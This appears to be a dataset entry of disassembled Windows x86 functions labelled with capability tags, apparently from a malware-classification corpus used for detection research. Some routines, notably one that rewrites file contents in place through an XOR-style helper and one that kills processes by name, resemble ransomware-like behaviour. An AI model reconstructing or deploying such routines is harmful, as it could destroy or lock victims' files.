joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430f00
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
mov eax, dword [ebp - 8]
call fcn.004048b8
xor eax, eax
push ebp
push 0x430f65
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 8]
call fcn.004048c8
push eax
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
call sub.kernel32.dll_CopyFileA
cmp eax, 1
sbb ebx, ebx
inc ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x430f6c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404410
ret

Function at 0x431310
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
xor esi, esi
or edi, 0xffffffff
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x3c
call fcn.004030cc
mov dword [ebp - 0x4c], 0x3c
mov dword [ebp - 0x48], 0x40
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 4]
call fcn.004048c8
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 8]
call fcn.004048c8
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xc]
call fcn.004048c8
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x4c]
push eax
call sub.shell32.dll_ShellExecuteExA
test eax, eax
je 0x4313b6
push 1
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetExitCodeProcess
test bl, bl
je 0x4313a1
inc esi
cmp esi, 0x7530
jg 0x4313aa
cmp dword [ebp - 0x10], 0x103
je 0x431380
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle
mov edi, dword [ebp - 0x10]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4313c4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x431443
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.0043319c
mov edx, dword [ebp - 4]
mov eax, 0x431458
call fcn.00431c74
test eax, eax
jle 0x43140b
push 0
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
call fcn.00431814
mov ebx, eax
jmp 0x43142d
push esi
push 0x431464
push 0x431464
mov eax, dword [ebp - 4]
call fcn.00404c1c
push eax
push 0x431468
push 0
call sub.shell32.dll_ShellExecuteW
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43144a
lea eax, [ebp - 4]
call fcn.00404a8c
ret
Function at 0x431814
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff90
push ebx
xor ebx, ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.00404f40
lea eax, [ebp - 8]
call fcn.00404f40
lea eax, [ebp - 0xc]
call fcn.00404f40
xor eax, eax
push ebp
push 0x4319e8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
xor edx, edx
call fcn.00404d48
je 0x431897
push 0x4319fc
push dword [ebp - 4]
push 0x431a04
push dword [ebp - 8]
lea eax, [ebp - 0x68]
mov edx, 4
call fcn.00404d00
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x64]
call fcn.004081f4
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 8]
call fcn.00404aec
lea eax, [ebp - 0x60]
mov edx, 0x44
call fcn.00406f14
lea eax, [ebp - 0x1c]
mov edx, 0x10
call fcn.00406f14
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov word [ebp - 0x30], 0
mov eax, dword [ebp - 0xc]
xor edx, edx
call fcn.00404d48
jne 0x43193e
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404c1c
push eax
mov eax, dword [ebp - 4]
call fcn.00404c1c
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x4319ad
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x6c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404c98
mov eax, dword [ebp - 0x6c]
call fcn.00404c1c
push eax
push 0
call sub.kernel32.dll_CreateProcessW
jmp 0x4319ad
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404c1c
mov ebx, eax
push ebx
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404c1c
push eax
mov eax, dword [ebp - 4]
call fcn.00404c1c
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x4319ad
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x70]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404c98
mov eax, dword [ebp - 0x70]
call fcn.00404c1c
push eax
push 0
call sub.kernel32.dll_CreateProcessW
mov eax, dword [ebp - 0x1c]
mov ebx, eax
cmp byte [ebp + 8], 0
je 0x4319c0
push 0xffffffffffffffff
push eax
call sub.kernel32.dll_WaitForSingleObject
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4319ef
lea eax, [ebp - 0x70]
mov edx, 4
call fcn.00404aa4
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404aa4
ret
Function at 0x431a0c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff90
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.004048b8
mov eax, dword [ebp - 8]
call fcn.004048b8
mov eax, dword [ebp - 0xc]
call fcn.004048b8
xor eax, eax
push ebp
push 0x431c05
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x431a8d
push 0x431c20
push dword [ebp - 4]
push 0x431c2c
push dword [ebp - 8]
lea eax, [ebp - 0x68]
mov edx, 4
call fcn.00404788
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x64]
call fcn.004081a4
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 8]
call fcn.00404484
lea eax, [ebp - 0x60]
mov edx, 0x44
call fcn.00406f14
lea eax, [ebp - 0x1c]
mov edx, 0x10
call fcn.00406f14
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
test ebx, ebx
je 0x431ae0
mov word [ebp - 0x30], 5
push 0
push 0x10000000
push 0
push 0
push 0
mov eax, ebx
call fcn.004048c8
mov esi, eax
push esi
call sub.user32.dll_CreateDesktopA
mov dword [ebp - 0x58], esi
jmp 0x431ae8
mov ax, word [ebp + 8]
mov word [ebp - 0x30], ax
cmp dword [ebp - 0xc], 0
jne 0x431b5b
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004048c8
push eax
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x431bca
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x6c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404714
mov eax, dword [ebp - 0x6c]
call fcn.004048c8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
jmp 0x431bca
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004048c8
mov ebx, eax
push ebx
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004048c8
push eax
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x431bca
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x70]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404714
mov eax, dword [ebp - 0x70]
call fcn.004048c8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
mov eax, dword [ebp - 0x1c]
mov ebx, eax
cmp byte [ebp + 0x10], 0
je 0x431bdd
push 0xffffffffffffffff
push eax
call sub.kernel32.dll_WaitForSingleObject
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x431c0c
lea eax, [ebp - 0x70]
mov edx, 4
call fcn.00404410
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404410
ret
Function at 0x431d00
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd88
push ebx
xor ebx, ebx
mov dword [ebp - 0x278], ebx
mov dword [ebp - 0x274], ebx
mov dword [ebp - 0x270], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
call fcn.00404f40
lea eax, [ebp - 0xc]
call fcn.00404f40
xor eax, eax
push ebp
push 0x431e95
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x44]
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.00431c30
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x270]
mov ecx, 0x431ea8
mov edx, dword [ebp - 0x10]
call fcn.00404c98
mov eax, dword [ebp - 0x270]
call fcn.00404c1c
push eax
call sub.kernel32.dll_FindFirstFileW
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
je 0x431e43
xor eax, eax
push ebp
push 0x431e3c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
lea edx, [ebp - 0x240]
mov ecx, 0x104
call fcn.00404bf0
mov eax, dword [ebp - 0x18]
mov edx, 0x431eb0
call fcn.00404d48
je 0x431e11
mov eax, dword [ebp - 0x18]
mov edx, 0x431eb8
call fcn.00404d48
je 0x431e11
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
call fcn.00404c98
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
call fcn.00431c74
test eax, eax
jle 0x431e11
lea edx, [ebp - 0x274]
mov eax, dword [ebp - 0x14]
call fcn.004332c0
mov edx, dword [ebp - 0x274]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x26c]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_FindNextFileW
test eax, eax
jne 0x431da7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x431e43
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_FindClose_1
ret
lea edx, [ebp - 0x278]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 0x278]
mov eax, dword [ebp + 8]
call fcn.00404c0c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x431e9c
lea eax, [ebp - 0x278]
mov edx, 2
call fcn.00404410
lea eax, [ebp - 0x270]
call fcn.00404a8c
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00404aa4
ret
Function at 0x432164
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
xor eax, eax
push ebp
push 0x432220
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x432200
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
push 0
push 0
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4321f6
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov dword [esi], eax
push 4
push 0x1000
mov eax, dword [esi]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 8], eax
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [esi]
push eax
mov eax, dword [ebp - 8]
push eax
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43220a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x432227
lea eax, [ebp - 4]
call fcn.004043ec
ret

Function at 0x43234c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov edi, eax
mov eax, edi
call fcn.004056f0
mov esi, eax
push esi
mov eax, dword [ebp - 4]
mov ecx, 1
mov edx, dword [0x432324]
call fcn.004058cc
add esp, 4
mov edx, esi
dec edx
test edx, edx
jl 0x432395
inc edx
xor eax, eax
mov ecx, esi
sub cl, al
xor cl, byte [edi + eax]
mov ebx, dword [ebp - 4]
mov ebx, dword [ebx]
mov byte [ebx + eax], cl
inc eax
dec edx
jne 0x432382
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x432850
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0xc], ecx
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
xor eax, eax
push ebp
push 0x432990
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea edx, [ebp - 0x138]
mov eax, dword [ebp - 4]
call fcn.00407f7c
mov edx, dword [ebp - 0x138]
lea eax, [ebp - 4]
call fcn.00404484
xor edx, edx
mov eax, 2
call fcn.0041b06c
mov esi, eax
mov dword [ebp - 0x134], 0x128
lea edx, [ebp - 0x134]
mov eax, esi
call fcn.0041b08c
mov edi, eax
jmp 0x432954
lea eax, [ebp - 0x140]
lea edx, [ebp - 0x110]
mov ecx, 0x104
call fcn.0040465c
mov eax, dword [ebp - 0x140]
lea edx, [ebp - 0x13c]
call fcn.00408c04
mov eax, dword [ebp - 0x13c]
lea edx, [ebp - 0xc]
call fcn.00407f7c
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404814
jne 0x432945
mov bl, 1
call sub.kernel32.dll_GetCurrentProcessId
cmp eax, dword [ebp - 0x12c]
je 0x43293f
push 0
mov eax, dword [ebp - 0x12c]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
cmp byte [ebp - 5], 0
je 0x43295c
lea edx, [ebp - 0x134]
mov eax, esi
call fcn.0041b0ac
mov edi, eax
test edi, edi
jne 0x4328d6
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x432997
lea eax, [ebp - 0x140]
mov edx, 3
call fcn.00404410
lea eax, [ebp - 0xc]
call fcn.004043ec
lea eax, [ebp - 4]
call fcn.004043ec
ret

Function at 0x4329a0
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
mov ebx, eax
test ebx, ebx
jbe 0x4329c5
call sub.kernel32.dll_GetCurrentProcessId
cmp ebx, eax
je 0x4329c5
push 0
push ebx
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov eax, esi
pop esi
pop ebx
ret

Function at 0x432a2c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
xor eax, eax
push ebp
push 0x432ab0
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
test esi, esi
je 0x432a9a
push 0
push 0
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
call sub.kernel32.dll_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
je 0x432a9a
push 0
lea eax, [ebp - 0xc]
push eax
push esi
mov eax, dword [ebp - 8]
push eax
push edi
call sub.kernel32.dll_WriteFile_1
cmp eax, 1
sbb ebx, ebx
inc ebx
push edi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x432ab7
lea eax, [ebp - 4]
call fcn.004043ec
ret
Function at 0x432b40
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov dword [esp + 4], ecx
mov dword [esp], edx
mov ebp, eax
mov eax, dword [esp]
call fcn.004046c8
mov edi, eax
mov eax, dword [esp]
call fcn.004046c8
mov esi, eax
test esi, esi
jle 0x432b7b
mov ebx, 1
mov eax, dword [esp]
movzx eax, byte [eax + ebx - 1]
xor edi, eax
inc ebx
dec esi
jne 0x432b6d
mov eax, dword [esp + 4]
mov edx, ebp
call fcn.00404440
mov eax, ebp
call fcn.004046c8
mov esi, eax
test esi, esi
jle 0x432bb1
mov ebx, 1
mov eax, dword [esp + 4]
call fcn.00404920
mov edx, edi
xor dl, byte [ebp + ebx - 1]
not dl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x432b98
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x432c90
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffc00
mov esi, edx
mov edi, eax
mov eax, esi
call fcn.004043ec
mov eax, esp
mov edx, 2
call fcn.00406f14
push 0x400
lea eax, [esp + 4]
push eax
mov eax, edi
call fcn.004048c8
mov ebp, eax
push ebp
call sub.kernel32.dll_GetEnvironmentVariableA
mov ebx, eax
cmp ebx, 0x400
jge 0x432ce1
mov edx, esp
mov eax, esi
mov ecx, ebx
call fcn.004044dc
jmp 0x432cfa
mov edx, ebx
dec edx
mov eax, esi
call fcn.004049f8
push ebx
mov eax, dword [esi]
call fcn.004048c8
push eax
push ebp
call sub.kernel32.dll_GetEnvironmentVariableA
add esp, 0x400
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x433488
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebp, ecx
mov edi, edx
mov esi, eax
xor ebx, ebx
mov dword [esp + 8], 4
push esp
push 0x20119
push 0
mov eax, edi
call fcn.004048c8
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4334eb
lea eax, [esp + 8]
push eax
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x14]
push eax
push 0
mov eax, ebp
call fcn.004048c8
push eax
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4334eb
cmp dword [esp + 0xc], 4
jne 0x4334eb
mov ebx, dword [esp + 4]
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x433500
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, ebx
call fcn.004043ec
mov dword [ebp - 0xc], pe_nt_image_headers32
lea eax, [ebp - 0x110]
mov edx, dword [ebp - 0xc]
call fcn.00406f14
lea eax, [ebp - 8]
push eax
push 0x20119
push 0
mov eax, edi
call fcn.004048c8
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x43358e
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x43358e
cmp dword [ebp - 0x10], 1
jne 0x43358e
mov eax, ebx
lea edx, [ebp - 0x110]
mov ecx, pe_nt_image_headers32
call fcn.0040465c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x433e58
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.004048c8
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x433e71
test al, 0x10
je 0x433e75
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x433e7c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00404c1c
push eax
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x433e95
test al, 0x10
je 0x433e99
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x435fc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov edi, eax
mov eax, edi
call fcn.004056f0
mov esi, eax
push esi
mov eax, dword [ebp - 4]
mov ecx, 1
mov edx, dword [0x435f94]
call fcn.004058cc
add esp, 4
mov edx, esi
dec edx
test edx, edx
jl 0x436009
inc edx
xor eax, eax
mov ecx, esi
sub cl, al
xor cl, byte [edi + eax]
mov ebx, dword [ebp - 4]
mov ebx, dword [ebx]
mov byte [ebx + eax], cl
inc eax
dec edx
jne 0x435ff6
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x436130
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], ecx
mov edi, edx
mov esi, eax
lea ebx, [ebp - 0xc]
xor eax, eax
push ebp
push 0x4362fa
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
lea edx, [ebp - 0x18]
mov eax, edi
call fcn.004360f0
lea edx, [ebp - 0x1c]
mov eax, 0x436314
call fcn.004360f0
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
mov eax, esi
call fcn.00404c1c
push eax
call sub.kernel32.dll_CreateFileW
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x4362d1
xor eax, eax
push ebp
push 0x4362ca
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x1000
lea eax, [ebp - 0x14]
mov ecx, 1
mov edx, dword [0x435f94]
call fcn.004058cc
add esp, 4
push 0
push ebx
mov eax, dword [ebp - 0x14]
call fcn.004056f0
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_ReadFile
test eax, eax
je 0x436265
cmp dword [ebx], 0
je 0x436265
mov eax, dword [ebx]
push eax
lea eax, [ebp - 0x14]
mov ecx, 1
mov edx, dword [0x435f94]
call fcn.004058cc
add esp, 4
lea ecx, [ebp - 0x20]
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
call fcn.00436010
push 1
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer
sub eax, dword [ebx]
xor edx, edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
push 0
push 0
mov eax, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebx]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x436265
mov byte [ebp - 1], 1
jmp 0x4361cf
cmp byte [ebp - 1], 0
je 0x4362b3
push 2
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x1c]
call fcn.004056f0
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteFile_1
inc dword [0x464d04]
lea edx, [ebp - 0x2c]
mov eax, esi
call fcn.004332c0
mov edx, dword [ebp - 0x2c]
mov eax, 0x464d0c
call fcn.00404440
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4362d1
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x436301
lea eax, [ebp - 0x2c]
call fcn.004043ec
lea eax, [ebp - 0x20]
mov edx, dword [0x435f94]
mov ecx, 4
call fcn.0040507c
ret